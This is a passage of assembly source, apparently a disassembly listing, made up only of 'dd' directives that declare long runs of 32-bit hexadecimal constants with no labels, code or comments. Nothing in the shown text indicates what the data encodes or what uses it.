		dd 9A007305h, 0CD9327C9h, 626C013Ah, 0D4FF81F4h, 12770443h
		dd 6E507D0Ah, 0A9B9FB3Ch, 0D2FA40A0h, 0B7F585B4h, 78CFE591h
		dd 0D78565D8h, 63519816h, 0B3D26013h, 0A496CB7Eh, 7BECAC2Eh
		dd 15DDB4C5h, 0CCD0DAABh, 0D9D51191h, 202D2BC4h, 43347203h
		dd 5C35875Eh, 0A0E7E8E4h, 0C0C0A54Fh, 4FB4827Ah, 0EE1F42A5h
		dd 2234C25h, 33F4122Dh,	3BE6651Ch, 61AF1D69h, 3EA9A7E3h
		dd 46963CAh, 6F0DA402h,	0CAB27703h, 751B0C95h, 4EB810E4h
		dd 0FEA5FD8Eh, 59C59584h, 9DDEB4D2h, 1B025123h,	28466EFAh
		dd 596FD87Eh, 8B27286Bh, 1DE01D3Eh, 43F1B568h, 29046681h
		dd 30CC786Fh, 0F9688E29h, 47C6AEF5h, 19D7812Dh,	2F0061CEh
		dd 3588A17Bh, 746A5E47h, 0AA147742h, 4134EE82h,	0AD313DE9h
		dd 15D97401h, 0B55E7FBBh, 0B10B1434h, 0D31E8823h, 7B332606h
		dd 0F9A92984h, 0C7DDD0D4h, 2EC00D8Eh, 0FCABF01Bh, 0ECCABF6h
		dd 5EC602FBh, 4F046AFh,	0E83807Dh, 55AC047Ch, 6433A943h
		dd 0D43B332Dh, 0C4BFABA5h, 0FF205E71h, 36EB193Bh, 9CF56CA9h
		dd 0B68EAEDCh, 542697C0h, 0A231B93Bh, 9D196462h, 9D73F29h
		dd 0C3E27625h, 0C72B9D71h, 7D010E35h, 9CA1792Eh, 0E2FA0B7h
		dd 23BAB22Ch, 2CC710CFh, 12B53EA9h, 3C3C6D1Fh, 0FCCEA943h
		dd 71AE43FCh, 0A7E0F330h, 88BD50D0h, 790B7D57h,	0C38B1836h
		dd 79F85139h, 968FA950h, 552FB6B5h, 1B017539h, 43217563h
		dd 21A5D42Fh, 41FB1EAAh, 7FC4291Ch, 0EEF8A164h,	0E372157Fh
		dd 0FB002578h, 4214BA58h, 3D988B58h, 0D88A231Bh, 0CBF70123h
		dd 0EF16DA0Fh, 7B52E7DAh, 0AFB50DA1h, 1CA504FEh, 0B0338219h
		dd 0E744A045h, 0F6C208FAh, 0CC6F2067h, 0B1A0AA1Ah, 6EBD322h
		dd 7805A590h, 0D9E31027h, 4DE73E5Ch, 0F6FBE8F9h, 0F5D8900Fh
		dd 14EFC1E4h, 2E49956h,	0F7037178h, 0E04C88AFh,	0A555EA36h
		dd 951BE503h, 6DC5560Bh, 3BF40C3Ch, 852109D2h, 8CFA3CDEh
		dd 0FB13FF68h, 0B08CDD8h, 7DF60664h, 0F6D4A8C3h, 0BF2FB1FFh
		dd 17F59B2Dh, 0DE6BBD56h, 9CC7DE1h, 4605F5F8h, 70A13E75h
		dd 0F74C4674h, 1F36B31h, 2371DEh, 76EA5717h, 0CD59AE0Ch
		dd 2206798Eh, 452CE8CFh, 0C5C4374Ah, 0C85E8969h, 0ECADA486h
		dd 24319CF5h, 4DFA988Eh, 0F838AC9Bh, 1FCC6468h,	39FDC18Eh
		dd 0D51CA0C7h, 0F91D98D8h, 0C4A951E4h, 0DC08D07Dh, 4610DCE8h
		dd 2FE03BC3h, 0F02C02CFh, 0C9FC8C0Ah, 3F4061C4h, 127FD40Ah
		dd 9B54A5E4h, 9B35AB25h, 3B20FD37h, 59CA644Eh, 72CFDE1h
		dd 6CA3AA4Bh, 99B5A824h, 66057C28h, 55F15332h, 832EAD75h
		dd 0D9CC8CE0h, 52715CC4h, 0C25C7416h, 13FB42E4h, 0F2E7DD9Ah
		dd 59B07AFBh, 7BF31D6Ah, 6928FF3Eh, 7FE21D53h, 0FDAFFB73h
		dd 0D1F2DBC8h, 0BF9B0721h, 0DEC2300Bh, 6AB382E4h, 0B67E4C3Bh
		dd 4D5BDCEh, 3D67B462h,	0B8606533h, 798CA634h, 1369A66h
		dd 0D4045B48h, 1E3747E1h, 0BCF046D0h, 0DF05B13Eh, 0D4284130h
		dd 7B3EA83Dh, 95AAB215h, 0E0C106FFh, 76FC4396h,	0E6AF1280h
		dd 372FB9BDh, 0B0AD4DCEh, 0EF4C924Fh, 9D69AD35h, 1A680432h
		dd 0C386284h, 0D53CA025h, 0C2357868h, 987E6747h, 0DB970EEEh
		dd 724C7B6Fh, 0F68ABC31h, 58667AC5h, 0BAD5A830h, 0CC196053h
		dd 0CCE2BF7Bh, 0E6A6124h, 0FF2037A7h, 7313DB29h, 31C942FCh
		dd 1B2266F0h, 0BCB4B575h, 0A619F7D1h, 0C82AE498h, 3FE01104h
		dd 167EAD0Eh, 0D1416DF7h, 0E7D36B21h, 56AEC9F0h, 0C210EC00h
		dd 0E075AEBCh, 1625A2D8h, 13531DFFh, 0E319DB26h, 98EC5626h
		dd 0EFB9CEABh, 0D6F82306h, 1C689C22h, 0D94D265Ch, 0D151AD57h
		dd 1331FC93h, 0A81C652Bh, 4FF1AD8Eh, 0F0BFF2D8h, 80AF00DBh
		dd 8A9CA167h, 1321586Dh, 34EC071Fh, 0B13477FEh,	0FFE0D7CCh
		dd 6A79098Bh, 0A8CC7D36h, 7C9CAE00h, 0CB141DF9h, 0CDF48E36h
		dd 0D7316A40h, 7391AEFFh, 1AD6D792h, 28A6BD0Dh,	14C73961h
		dd 0C02A02D6h, 24C6B688h, 39C6570Ah, 1E98FEF1h,	0B2D0CA4Eh
		dd 0A4FF140Eh, 0A9F21191h, 0E4EB1117h, 0EA0D914Eh, 6460D6A0h
		dd 6191D594h, 7A6E101Ch, 8F817003h, 4DE30522h, 3B31EC5Eh
		dd 75A69B3Eh, 0B372F480h, 33202907h, 6D4C738Fh,	21049A4Ah
		dd 0D729FEF7h, 7B411F68h, 1CE4C4EBh, 0EB4A41E4h, 0EA4EF7F7h
		dd 0F67623Dh, 779755DBh, 0CCECC4E1h, 0EED23FB0h, 0B1E11369h
		dd 0A2D6DAE2h, 0C8A81571h, 0C081A033h, 0C729B039h, 0DFF3B3CEh
		dd 7EDFB4F0h, 0AF8B6F58h, 29B8BF31h, 81E5C06h, 2B5480E1h
		dd 33B744B1h, 1F0F9399h, 3682993Bh, 9F2D9C87h, 3DF9E392h
		dd 105D98BFh, 0A7D11095h, 0CAC4AF45h, 0D6ACC6F8h, 399EE41Bh
		dd 2F244310h, 0C6358BEFh, 0ACE7B52h, 0FA732BE8h, 6C857533h
		dd 0C9090D40h, 42C7FE10h, 5E4486DCh, 0CFD07078h, 0F877433Ah
		dd 0AC8144BFh, 0E232C7D6h, 0ED0E4F8h, 0CAE6FA84h, 0F0804761h
		dd 832F592h, 63C72B87h,	0CC4FED3Bh, 0D119A11Bh,	70AAB7AEh
		dd 0EAE89DCFh, 34D6A10Dh, 0B5AF342Ch, 9F0E551Dh, 0EDF226E6h
		dd 41F5C1C3h, 1B8233EDh, 9F11170Ah, 0BD4BEBA4h,	3887F544h
		dd 0B6F64E97h, 9942A892h, 0FE2299Ah, 33C4F5C7h,	1A10A204h
		dd 2357AF81h, 0D0A657DEh
		dd 8E3F4728h, 4F24194Eh, 0C9817284h, 0D12EACE2h, 6BC35904h
		dd 503499CEh, 61850897h, 0D564B34Dh, 0F54CBDF2h, 68304367h
		dd 0C717ABC8h, 92EE1B3h, 8C8333EDh, 252A9F3Ah, 762C8B67h
		dd 0D3226D74h, 0D8E260A5h, 24889586h, 0DCA559EAh, 2F2051EEh
		dd 332145E4h, 0DF572E84h, 9E291F36h, 7CB7F1F0h,	0CB10B361h
		dd 4ECEF3Eh, 6DED97E4h,	24AE15C0h, 0AE8E68B9h, 0BE0299A5h
		dd 1181B23Ch, 0D371F5C7h, 7C5ADB83h, 6E02F8E9h,	0F93AB728h
		dd 0C3371107h, 9E2CE8CBh, 0FF2F911Ch, 8A5CE7A9h, 77397612h
		dd 0D4442386h, 55FC70A7h, 0F9F2FE5Ch, 7D8E451Fh, 9B5D9B2Ah
		dd 77A479ECh, 18D15825h, 7D7BA973h, 6877B3F8h, 2B705866h
		dd 4B9E4FD8h, 0C21C6574h, 1FDEB7F8h, 72CF582h, 3154FC18h
		dd 0A738A549h, 0D8DFEFBh, 0AACC7FFh, 53C04F07h,	53B5196Bh
		dd 9B2AFF53h, 0E2CCE838h, 82F04F0Dh, 48DD7A4Ch,	62A3917Bh
		dd 97CFB2CCh, 3C5984FEh, 76D5606h, 903ACE35h, 0C63C42A0h
		dd 0B41F6BF8h, 0A4581F18h, 0B437DE03h, 0C90005A4h, 0F8FEF4h
		dd 68032CD1h, 0DCF7E7E6h, 68858BCBh, 33EE7FEDh,	0FE238B8Dh
		dd 0D4D2E811h, 0C2EF9F7Ch, 12A93E86h, 0FB086F83h, 0F00F7E3Fh
		dd 0FBED619Bh, 8573F19Dh, 0C9ADFF8Dh, 1C8243AAh, 9275722h
		dd 236B06E0h, 7DEC4DB5h, 0C63A4DF4h, 0D505823Eh, 78400791h
		dd 4237C341h, 8499E8E2h, 0C132A0A7h, 0C067C6F8h, 99066368h
		dd 0C73D3EEAh, 4AE673FEh, 0DF408C0Dh, 0FCF85AC6h, 0F8E20429h
		dd 0A8A067C9h, 3434D0A7h, 0A20ABAB6h, 9CF6362Fh, 431EE55Ch
		dd 0C94F8082h, 4B2CBA21h, 0C4998793h, 0C676813Ah, 87200DC1h
		dd 0D0AE3D2Ah, 0B8CB7D85h, 7E485C87h, 0FA4986E7h, 4344F53Bh
		dd 0C8DBF39Bh, 9CF99DC7h, 0FA5B9D50h, 3F25B064h, 94E062Eh
		dd 0DF97163Bh, 0BEBE43BAh, 7F37734Bh, 190E9393h, 54292C0Dh
		dd 7C885h, 44CCC130h, 0EDEF90B6h, 0D8173521h, 7B69900Dh
		dd 3D51554Ah, 4E15350Dh, 0D0C83482h, 28E2AFBh, 38F37AC6h
		dd 24EA67A8h, 0EA1F3F83h, 0FAF4B5E1h, 402290F9h, 0F84F4F25h
		dd 4728A90Ah, 4CF3F1E2h, 6BE459F4h, 3CDC7527h, 8347BB2Ch
		dd 0DF16A678h, 0C17A5964h, 0D33DB128h, 0FB944EE4h, 0BE66D3Bh
		dd 9F0C4C3Eh, 0BEBB59C5h, 0BF3BA180h, 116B76Dh,	161C8FD8h
		dd 24F41F42h, 0F0B00D67h, 3CE657C4h, 76831EDDh,	1A34B423h
		dd 4EF66022h, 0D0CF3CD9h, 0BF597CAEh, 9B6373D3h, 0F5E08C16h
		dd 5543F7ADh, 0BA313EFEh, 17BC087Bh, 0F4493C3h,	3CE28027h
		dd 0C7A334F3h, 77698365h, 90A17FEDh, 0CEB546A5h, 0D8EFA7E4h
		dd 65E053EBh, 326BDC5Dh, 539D5C2Fh, 2767C461h, 3B0611F1h
		dd 350CFCFCh, 0D76476DCh, 9C9AEC3Ah, 8277F0E9h,	225B12E1h
		dd 39254B4Dh, 4520F8C4h, 50A40373h, 0CAEF12F8h,	0A6C4018Eh
		dd 0BBEFABC0h, 0FC67EC42h, 28E2B52Dh, 30AC7629h, 7CEDF861h
		dd 68BDFC65h, 0AA3682E7h, 94F5C3C8h, 0A4F06541h, 9CE4BFD8h
		dd 0BA8EF21Ch, 3FC0EAFh, 0FE661447h, 26E50FA0h,	52399115h
		dd 0F39E5038h, 17DA707Ah, 94C448C2h, 8505B775h,	0A72E104h
		dd 8073B1D6h, 7987C908h, 7A179F3Ah, 3DA08F70h, 69C6E4A8h
		dd 0FAEAFFFCh, 0EDA4AA28h, 9746ABDEh, 3732A9A8h, 8590B1A9h
		dd 63BCA104h, 79F2793Eh, 2ACE00F0h, 0D9EE1D3Ch,	0D87674DFh
		dd 5B101B15h, 2470F2C3h, 37E14C8Dh, 0BB349579h,	3A0F34FFh
		dd 0C0D05F66h, 7505F53Ah, 0C82DB6F0h, 0B7F06458h, 233CBE12h
		dd 848ECDE6h, 69818D25h, 0F1A4C178h, 0EDF484EEh, 22B093D2h
		dd 0E09BCC9h, 0B0CC82CEh, 3D6F2F8Dh, 2A09F6A6h,	0EEC8D011h
		dd 0AD2DB7Ah, 54FF1027h, 0F40B1CB7h, 77E4D970h,	4E949DF6h
		dd 4150F4Fh, 0BE9DF961h, 3821B67Eh, 0A5720CFBh,	0D20D5268h
		dd 94F35CEh, 0BF34A7CCh, 0CBF3EBFCh, 74640950h,	24D2136Bh
		dd 0F85B6369h, 0FB99CEBFh, 78AF63E1h, 0F8C65E38h, 0A88EFC2Bh
		dd 1CE4E961h, 0CE388C5Dh, 0C56C5818h, 737DF03Fh, 8C8C2947h
		dd 71D0F20Eh, 38F768AEh, 0A5C2BA89h, 0F3061BBh,	0CCD65D01h
		dd 0EF38420Eh, 0FF5C4E9h, 83306C9Eh, 0BB547864h, 0EB31FF15h
		dd 279978D5h, 55E21EECh, 0C036E484h, 9F76FE80h,	0B534FD21h
		dd 421784F6h, 23AF25FBh, 0C43F214Ch, 21A18838h,	3C7C836Bh
		dd 0FAE12925h, 7C5BF73Eh, 0FD44EF44h, 6DD94518h, 0F21CD4h
		dd 38620729h, 350475F8h, 0BD27774Eh, 0C63C2120h, 71873869h
		dd 0BEAF570Ch, 97B233C1h, 0D4F527Ah, 0D64C5E9Ch, 0EF4B06Ch
		dd 11E81D39h, 0C34E3CEh, 21BC7460h, 2409F439h, 3AD0C4CCh
		dd 0E3E5B993h, 532FEF2h, 0F161B493h, 0B6206A7Eh, 39FAA0A7h
		dd 0CAD03E8h, 0DB0FC6F0h, 40CF7AAEh, 6804B9B4h,	0BC4500Ah
		dd 0F940580Eh, 5F01C3D7h, 0C4F74428h, 3BAEE82Ch, 905F42CCh
		dd 0C475034Eh, 8BA7B2F0h, 94BF6928h, 6A02B63Dh,	0B525EC2Dh
		dd 64E63F44h, 882DF451h, 0CF921ACEh, 0A4B52B3Ch, 0BC745137h
		dd 0EF1FDD0h, 0B649566Bh, 0B8181FCCh, 95C2AF35h, 0F9A0C36Ch
		dd 0F84DDDCAh, 0EBA17AC4h, 8CD5196h, 0B91F4AE8h, 5B36318h
		dd 38F4643Eh, 398C67E7h, 0BACE2D77h, 2B1ED790h,	995C5BE7h
		dd 3AE5AEB7h, 4B1DBCDEh, 68AF1F2h, 865DA342h, 0CD7718A7h
		dd 0ADAB660h, 0C1486F16h, 1602C1B3h, 0EDA35C16h, 0DF2F45EEh
		dd 0F3E9A184h, 0DC2F37FFh, 41A5E220h, 0DCCE4121h, 0FEE358C6h
		dd 29E65AA3h, 0D85EE43Dh, 0AFC5929h, 0C9ECF93Dh, 5408F828h
		dd 12E191E4h, 8B4144BCh, 18FCD1D0h, 9A77A9DAh, 170549D8h
		dd 0DD6B502Ch, 29107520h, 0B86E03DFh, 0CFC252CCh, 0FC0377DDh
		dd 9229FF9h, 0A805763Ch, 6CE94175h, 9963B3E1h, 0EA2CBE6Ah
		dd 9FF76526h, 34CA96B9h, 0C3D9C901h, 39C09D53h,	2AECAAABh
		dd 560CAA00h, 3C5DE30Eh, 25B3F02Eh, 114D79E6h, 69B87425h
		dd 9E381A2Ch, 0D916802Ch, 0D5E1491Dh, 0C4CEA53Fh, 2D15AFCFh
		dd 0C2FBB8DEh, 3D077F14h, 174E7406h, 0F24D89CFh, 0CB3AF9C6h
		dd 1603087Fh, 4E7143DFh, 10BF94C6h, 0C888712Bh,	4E951DE6h
		dd 1F05A45Eh, 24C06F38h, 0C60DB66Ch, 81CECDF7h,	48C75796h
		dd 7D11FDB5h, 0CDE64E3h, 0A83791C8h, 3D038781h,	2FB8B0F5h
		dd 883E57A7h, 37624E0Ah, 6E5B4F3h, 0E0ADECCh, 0DCF8DC28h
		dd 50A24D04h, 99F02288h, 0CFE09D26h, 23070C3Dh,	43790E9h
		dd 4F3B549Ah, 0EFBFD26h, 0C4FAEB7Bh, 5F06939Bh,	4512E15Eh
		dd 0E913F94Fh, 4674EC50h, 0AFF6902Fh, 3861FD00h, 64315FC0h
		dd 0D57EA07Bh, 40B31C3Dh, 6C8DB9D8h, 63CBBCDh, 74125D39h
		dd 0AC084194h, 293A3962h, 0D72261D8h, 34C34D02h, 825249C8h
		dd 0C6181FC4h, 2C2A93A3h, 0FD895882h, 792223BEh, 0FE4F55DCh
		dd 7C2C1E08h, 4806436Dh, 16AE99F0h, 9E537B5h, 44A80BB6h
		dd 0CF0D25D7h, 0A4111758h, 0C22CF2E9h, 6C6DAD85h, 3204FC28h
		dd 2462A7A4h, 66173806h, 7F3C9164h, 71AC6BF8h, 7A67D2EEh
		dd 0C6C66C27h, 23F1B5C0h, 9F07842Fh, 0C2C2F643h, 0E21D4BCAh
		dd 10015998h, 9A84FF70h, 2A5F40AAh, 9A32F63Bh, 90FEF739h
		dd 63BB8205h, 0D4D9CFB7h, 0DD61B5E7h, 3B0B8B63h, 0B130BD57h
		dd 0CA98EEA8h, 0D780E399h, 9CF683BCh, 1F095E2Fh, 20B38379h
		dd 4BD96228h, 6ED691CFh, 383467D2h, 20795EF0h, 378A3FDFh
		dd 73F76738h, 570CA670h, 1827F69Fh, 7C378AEDh, 0B8900911h
		dd 0B2E7B27Fh, 2076B0CFh, 44AE0955h, 78C235C8h,	0D430BB5Eh
		dd 0B9AF697h, 0D376895Dh
		dd 0A423499Bh, 0F74BC45Fh, 0BC678FAAh, 960CBEDAh, 44EBAFFDh
		dd 652D030h, 0CCDA862Fh, 0B1FAB910h, 24B644CEh,	0B68FB34Bh
		dd 156DB40h, 0E70D1D6Eh, 0E22B4E37h, 0E50A40C5h, 5D207FFDh
		dd 194E5A94h, 939775Dh,	45B327F6h, 0D5862839h, 0FA1CBB6Fh
		dd 0C298FFBDh, 0E3E134CBh, 0B70A91D9h, 0DF9B63D0h, 34FA071Eh
		dd 2BD32AE9h, 137C4EEFh, 22B26C12h, 0CA320DD8h,	0AA6937EDh
		dd 64FBA7E9h, 4AF342A5h, 0AFCE0F35h, 555B9490h,	0AF26F78Ch
		dd 3E3CE844h, 6506B81h,	7D2F2D75h, 5397FB9h, 244FFF1Bh
		dd 47B4C2BAh, 0FD75B378h, 6D27552Ah, 80313507h,	3D18B30Bh
		dd 657064B1h, 203601B7h, 215651C6h, 81923504h, 7274FBB8h
		dd 5F7B0E3Bh, 0CCF51F96h, 8C860FB7h, 4EA45CE4h,	371AEDEDh
		dd 92177113h, 46F70475h, 0DFCB04F5h, 30A5251Bh,	681E7FE1h
		dd 6B2987D5h, 0A5A84D9h, 0C5030D7Ch, 28CC1D3Bh,	0D75D0BBFh
		dd 0AD80FE16h, 7BF3B367h, 0DDB42647h, 4F01150Fh, 0F862C506h
		dd 392952F8h, 0C910E7D9h, 39AF42FCh, 0A44CB4AEh, 0F4F344D8h
		dd 0F8AE431Dh, 0FAAC7E3Eh, 0F6134164h, 0C62C4529h, 64DC9A60h
		dd 6EECDEDEh, 0E1AAD465h, 4D1689Dh, 7AFD325h, 5FEE0CA9h
		dd 3CA4B251h, 38E2B904h, 0E8574B8Fh, 7206505h, 5AD069E4h
		dd 7AAA6FEAh, 0C4AB6748h, 7CB50BD1h, 0E2CB662h,	16E21904h
		dd 1CA6334Dh, 8FC4E330h, 0FB4F7D28h, 9CA76D24h,	3CC9E665h
		dd 0FEDB6581h, 0DB2C0E53h, 43F4BF61h, 0EAD2B3E3h, 9B001D61h
		dd 0DC289C49h, 0A03942EBh, 0F913A02Ah, 1C5E1682h, 0F53726C4h
		dd 46799AE8h, 0E2B1753Eh, 0C82D4BC4h, 0D1F26912h, 1221C934h
		dd 0B5F3DB18h, 6CE3C20Eh, 0BD4CFA7Bh, 2A9EB181h, 0C70664ADh
		dd 0D0DAA43Ah, 30A1DE4h, 182C9328h, 0F3BC343Ah,	3F527163h
		dd 0ED54E37Eh, 8164B2C1h, 4A7E8CB8h, 176DC45Eh,	0FE33D531h
		dd 34081077h, 70CC015Fh, 58E4992Ah, 0F9B39847h,	0C4F57945h
		dd 0B502F1ADh, 837B9C0Eh, 622C9E33h, 14CE7575h,	5CBC888Ah
		dd 0BEAC9DE8h, 4BDE1CADh, 446DBC5Fh, 6BEBFBA1h,	0D8EFF524h
		dd 0FDC9376Bh, 64D10466h, 0FEAC0553h, 69EE442Ah, 0BA4BC299h
		dd 4702FE2Bh, 554E61Bh,	44AC7AEBh, 0E77661B0h, 0EDA48218h
		dd 5BB86E74h, 48A3C10h,	0D5849FC8h, 0FC2A1AFDh,	0E44C5E29h
		dd 5A947593h, 552D5244h, 6404F382h, 3EFD7D5Ch, 0BFA5EA82h
		dd 0E069F28h, 453AE62Dh, 0F5E8530Eh, 2AF5F82Ch,	7D367ED8h
		dd 0FA4DB3E4h, 0DA5D85E0h, 392A4C04h, 7F4A452Ch, 3FA5547h
		dd 0E77A1BE0h, 0DF0FD902h, 12BC3F3Fh, 0E73BD27Ch, 8EC7B476h
		dd 0E0177E2Eh, 0AC05451Fh, 0B81F5DE8h, 7AE2D852h, 16C29E18h
		dd 0CA606744h, 0B6210B69h, 9F0CED21h, 57D15F6Dh, 6A526E3Eh
		dd 3D5B86FBh, 150D77E6h, 0B1F67C48h, 33D45812h,	3FD15BB3h
		dd 4D86FAF5h, 87E15D22h, 4E3740AFh, 0D0FA2C62h,	0BD67ACF7h
		dd 0D193471Bh, 0E3AFE91Ah, 78F18CE7h, 0B104AF63h, 0F2EF868Ah
		dd 4F378A4h, 13D43B3Ah,	780E0C29h, 2C01031Bh, 477D125Ah
		dd 681F0D61h, 5B096C0Fh, 0D0F1B669h, 0F95803F5h, 0C4F6BC32h
		dd 0BEF96C0Eh, 0ECEA8710h, 39655DD8h, 32280020h, 0DD3288AAh
		dd 8DDB03C1h, 0D9EE9481h, 0FEBB3D04h, 227C1B5Bh, 0EEBDB281h
		dd 0DA10DE3Fh, 0B9A53A62h, 29AF4A12h, 51DCE678h, 3F72BCE6h
		dd 0CDD2C5EBh, 0AF0C530h, 4813DC1h, 0E22F2E6Dh,	10909DFEh
		dd 13000137h, 4E3DEEFCh, 920CDE39h, 7800ECCCh, 68F77F18h
		dd 9C9855C5h, 6EB34A9Dh, 0DA30EFE0h, 84F8035Eh,	74F4173Bh
		dd 0F7B7077Ch, 74C320F0h, 0E0A572B8h, 36885CE4h, 0E74CC01Bh
		dd 6A73F3Dh, 0AD1C2267h, 0ADBD7EC3h, 22B7DE4h, 36011E52h
		dd 0A777EB90h, 385CDBDFh, 717C0AFFh, 49FAF73Eh,	0BF05B3FAh
		dd 0D82A1EB6h, 2E57BDCh, 21C2F17Ah, 84E04290h, 0DC7D634Dh
		dd 9CF57534h, 33D0E442h, 0C8AD3A17h, 1CAC86C3h,	20F6BE98h
		dd 0DA9374ACh, 0FAF6FEBh, 4A90AA2Ah, 77068A4Bh,	10967467h
		dd 0DBE6B809h, 5496F301h, 9A44AF91h, 0B3461C39h, 24ED6E54h
		dd 0FD6159BBh, 5990DD0Dh, 0FC61CC44h, 0FC4D3B25h, 20C6158h
		dd 0EB06C53Fh, 7A4DCFC9h, 92177B1Bh, 33AA60BCh,	0CB91F09Ah
		dd 5A0CFC6h, 0C9225DF4h, 0ABF2B724h, 166787C0h,	0F289310Dh
		dd 0BDEF25D5h, 0C46054C8h, 5A621CADh, 4A1A33E9h, 211BD408h
		dd 35245AEDh, 0C420D7DCh, 24707AD8h, 0EA1D9E47h, 0D35934h
		dd 95E2921Ah, 3B5E3B36h, 86FF59F1h, 7C58A0C3h, 8EE142CCh
		dd 4BD94540h, 98F3F32Dh, 2A4189EDh, 6409FED9h, 3E30FC9Dh
		dd 0C8FC332Eh, 3CB2AF1Eh, 0D944313Eh, 5691BEF8h, 72E4DA4Eh
		dd 0DB587517h, 0AAFC42C0h, 0EEFEF585h, 21D1440Fh, 1CF45135h
		dd 9C614D09h, 22BD9C0Ah, 0F4879B36h, 3F7E816Eh,	718E7134h
		dd 91849F66h, 2490011Ch, 5964E84Bh, 0E42D87C1h,	0AF0A2FBCh
		dd 0CE060FFAh, 20389EA9h, 2063D697h, 0CC506FE0h, 0FCE4C22Fh
		dd 0C323E0AEh, 7C34750Eh, 0F930A224h, 0E1262BF4h, 0E560C4EDh
		dd 7F859E5h, 0E8A4FA42h, 9CE13533h, 0EE9E5500h,	3AD4303h
		dd 0BE22E7EBh, 0CF6FA5FCh, 0ED56B4E2h, 37BE2BAh, 8425299Dh
		dd 238643Ch, 0C7D16549h, 452FD4D8h, 95F59BA9h, 76BD7567h
		dd 0CB25D0A9h, 0A4DB9CC8h, 0ADBB529h, 0AB92E5DDh, 0A58B65B9h
		dd 14307EBBh, 0C0E5FFAAh, 7DC4EBDDh, 0E10CA854h, 448010CCh
		dd 0FE9C497Ch, 9A33DCADh, 7554BDFEh, 0A62E8A67h, 2658A72Ch
		dd 0D5E8F4F5h, 31DB5867h, 0FF12CE8Ch, 4007DE3h,	8FCDB8F4h
		dd 0F2F6952Bh, 0F93D45F1h, 3D679F47h, 0BFD6FE2Eh, 35CBAB2Fh
		dd 7114CCA9h, 0B650455Ah, 39FD2543h, 0E07F80FAh, 0A6ED377Ah
		dd 773C57F4h, 708D9FC5h, 7A7B37F0h, 9B9CA1FEh, 2F2E6AB2h
		dd 0CE207808h, 0B2EF8083h, 401AEDAFh, 0BBDF74BBh, 3E45B264h
		dd 0C9C9BE0h, 2F9E1CAFh, 42029B93h, 2673F9C8h, 4E16D563h
		dd 64807DEBh, 2BAD03FBh, 0BA204B56h, 25861D35h,	450E2196h
		dd 0C81005A7h, 79B0CA22h, 483734CAh, 0C0F5157Bh, 0E1A1023Ah
		dd 5FF89135h, 1C7B7E1Bh, 0D934AB6Eh, 155843A5h,	42001D39h
		dd 175CF993h, 25313128h, 0C8804363h, 0AE367784h, 229DB2ABh
		dd 0DCABC888h, 5C71DE0h, 52132E1Ch, 7D6C0FA7h, 873DDD4Eh
		dd 6C99DBE1h, 909CEFCh,	0B680B387h, 0BC14E011h,	402CEE86h
		dd 762C9BC2h, 6FD9FEE7h, 0D2E3D1B7h, 2C4942B8h,	6922FCEEh
		dd 0B473BD33h, 5734CB09h, 7F1E5F41h, 3EF5199Ch,	20C6CF7Dh
		dd 6410BDFBh, 821F07D6h, 6D78771Bh, 126E5B20h, 79C21FC3h
		dd 417FDDE9h, 0ACC0138h, 0A30E1B84h, 0F5553FABh, 0C7D0A99Eh
		dd 4D61D96Dh, 0DDE8E478h, 246B329Ah, 860FB261h,	0F7F1B4EEh
		dd 94706DFBh, 0F476518Eh, 48340DD1h, 0EAAFBEAEh, 0B902AA19h
		dd 89033D33h, 8974B296h, 75209FE7h, 0ED52563Ah,	0A13421DCh
		dd 0DC286FCEh, 0B8266B65h, 0F11913AFh, 0F55AE880h, 764822B5h
		dd 6FFF9FBCh, 0EAF184AEh, 4725BE55h, 25ADB55Dh,	0BEFDAE5Ah
		dd 0E390D526h, 1931C50Eh, 722BB7BEh, 0AB23F24Dh, 6DD83295h
		dd 7E5B1570h, 54068D2Ch, 930F69D4h, 8F800235h, 4D6782A1h
		dd 7DCBC202h, 2E97B9Ah,	0F52136FCh, 0A1375E93h,	0BDDF02CEh
		dd 0F0217912h, 682500A8h, 5C66B602h, 0D56745C0h, 383CC9D6h
		dd 0F9EA2DF4h, 7C21834Dh, 685BACB8h, 36D16215h,	860C13A9h
		dd 0FE8C5D5h, 1B03EC3Eh, 0E4416AC4h, 7274170h, 681474A7h
		dd 4E60F1FAh, 57335D18h
		dd 29EC8B2Dh, 1B052F80h, 137EF9F8h, 841DC87Ah, 0B2B4894Dh
		dd 1489A520h, 0B4834B80h, 7A30A9FCh, 0A3EB0591h, 6ECB36E1h
		dd 900871FAh, 0B71DA4FBh, 8F2D509Eh, 58FB1E91h,	71F9D50h
		dd 23F7A0ACh, 0DF90F2B4h, 0B105C54Ah, 5B04D7D8h, 99A5B3C7h
		dd 3C093EA9h, 44C6DE7Ch, 0B4B65C13h, 2C97DBF4h,	80CCD278h
		dd 767E51F3h, 43CA8A96h, 0CEF99FD4h, 0D6D17005h, 5375E935h
		dd 15051CABh, 39305F78h, 36F5B0FCh, 8486F562h, 45D52C1Bh
		dd 77C9EB4h, 40C6A7FAh,	6BFDA367h, 7D70EBFDh, 0A2092E84h
		dd 0D2B07BEDh, 0BC271021h, 0FA0F06BCh, 0C4F4ADB1h, 3C145E32h
		dd 7797ADC6h, 2FF2139Ah, 653167A7h, 5E995C0Fh, 98B89D9h
		dd 3C219AE3h, 331DA464h, 41BE7902h, 1EEC7642h, 7DCCB6C7h
		dd 0CF53DF0h, 150083CAh, 0FCF5DBD9h, 0CF1C2412h, 710BFE07h
		dd 371F0AE8h, 0F5197CF4h, 68D195ABh, 41AEB79Bh,	63ECB23Ch
		dd 0C47A5C1Eh, 0CBB3305Dh, 67873153h, 0F3E71988h, 42AEC368h
		dd 9A021FF8h, 0AAB2B07Fh, 45CA46A8h, 0C6D97648h, 0CB1D703Eh
		dd 60EE63C6h, 27E2D12Ah, 64D409BEh, 3001408Bh, 548277DEh
		dd 0DF2CE44Fh, 0B55CAAD8h, 3C01471Ah, 450DFE20h, 18FBC3F5h
		dd 0E12D78EAh, 0F7F59DEEh, 1CEE8ABCh, 0DEF6F5DDh, 0DD6F479Ch
		dd 0DE4B85Fh, 6FD48E4h,	0FEAD8DCFh, 89C8AA1h, 994CB1FBh
		dd 3E538735h, 46F5F7A6h, 8428A73Eh, 1F3EB17Ch, 0E6C52C0Ch
		dd 0ED35F04Fh, 47E48EEFh, 9CF5B3F1h, 580CB35Fh,	0F2EE15D8h
		dd 0AAE10185h, 0B121E63Fh, 0CCE28A0Eh, 5884F9BAh, 9949754Eh
		dd 375B5AEFh, 0A5C402Ch, 10E26F08h, 4FF471C3h, 0F51063A0h
		dd 0F2F30578h, 0E20051Fh, 0FBA10AD9h, 0B960C146h, 8A59E71Bh
		dd 80714F4h, 7D39B418h,	0CE097B51h, 680BCF3Ch, 0B7FDBCFEh
